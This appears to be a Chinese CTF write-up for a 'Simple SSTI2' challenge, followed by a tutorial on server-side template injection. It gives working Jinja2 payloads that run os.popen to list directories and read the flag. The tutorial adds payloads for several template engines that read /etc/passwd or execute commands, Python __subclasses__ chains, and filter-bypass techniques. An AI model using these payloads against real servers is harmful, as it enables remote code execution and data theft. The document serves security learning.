目录
题目介绍
题目源码如下
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Simple SSTI2</title>
</head>
<body>
You need pass in a parameter named flag
</body>
</html>
解题方法为模板注入。
解题方法:
查看根目录
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ..').read()}}
执行结果
app bin dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
我们挨个查看目录,从第一个开始
?flag={{config.__class__.__init__.__globals__['os'].popen('ls ../app/').read()}}
执行结果
Dockerfile app.py flag gunicorn.conf.py templates
直接查看flag
文件
?flag={{config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read()}}
获得flag
flag{3da091678f181776084413b87192ea57}
模块注入学习:
1.简介
模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。
2.测试方法
- 确定使用的引擎
以下是一些确定目标Web应用使用的模板引擎的方法:
-
观察文件扩展名:
不同的模板引擎通常使用不同的文件扩展名。例如,Jinja2使用.jinja2
或.html
,而Handlebars使用.handlebars
等。检查URL中的文件扩展名可以提供一些线索。 -
错误信息:
在模板注入的尝试中,观察应用返回的错误信息。有时,错误信息可能包含关于使用的模板引擎的信息,例如引擎的名称或版本号。 -
逻辑错误:
在某些情况下,模板注入可能导致应用逻辑错误,这些错误信息可能包含有关模板引擎的信息。 -
标记语法:
不同的模板引擎使用不同的标记语法。观察用户输入插入的地方,看是否有类似于Jinja2的{{ ... }}
或Handlebars的{{ ... }}
的标记语法。 -
请求和响应分析:
使用代理工具(例如Burp Suite)截获和分析请求和响应。观察响应中的内容,尤其是在模板注入点。 -
文档和技术栈信息:
查找应用的技术栈和文档。应用的技术栈文档通常包含有关使用的模板引擎的信息。 -
黑盒测试:
进行黑盒测试,试图在用户输入的地方插入一些标识性的内容,以判断模板引擎的反应。
- 查看引擎相关的文档,确定其安全机制以及自带的函数和变量
- 需找攻击面,尝试攻击
3.测试用例
- 简单的数学表达式
{{ 7+7 }} => 14
- 字符串表达式
{{ "ajin" }} => ajin
-
Ruby
<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>
-
Java
${7*7}
-
Twig
{{7*7}}
-
Smarty
{php}echo `id`;{/php}
-
AngularJS
$eval('1+1')
-
Tornado
- 引用模块
{% import module %}
- =>
{% import os %}{{ os.popen("whoami").read() }}
-
Flask/Jinja2
{{ config }}
{{ config.items() }}
{{get_flashed_messages.__globals__['current_app'].config}}
{{''.__class__.__mro__[-1].__subclasses__()}}
{{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}
{{ request.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
-
Django
{{ request }}
{% debug %}
{% load module %}
{% include "x.html" %}
{% extends "x.html" %}
4.目标
- 创建对象
- 文件读写
- 远程文件包含
- 信息泄漏
- 提权
5.相关属性
__class__
python中的新式类(即显示继承object对象的类)都有一个属性
__class__
用于获取当前实例对应的类,例如"".__class__
就可以获取到字符串实例对应的类
__mro__
python中类对象的
__mro__
属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。
__globals__
保存了函数所有的所有全局变量,在利用中,可以使用
__init__
获取对象的函数,并通过__globals__
获取file
os
等模块以进行下一步的利用
__subclasses__()
python的新式类都保留了它所有的子类的引用,
__subclasses__()
这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。因为python中的类都是继承object的,所以只要调用object类对象的
__subclasses__()
方法就可以获取想要的类的对象。
6.常见Payload
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )
7.绕过技巧
- 字符串拼接
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]
- 使用参数绕过
params = {
'clas': '__class__',
'mr': '__mro__',
'subc': '__subclasses__'
}
data = {
"data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
}
r = requests.post(url, params=params, data=data)
print(r.text)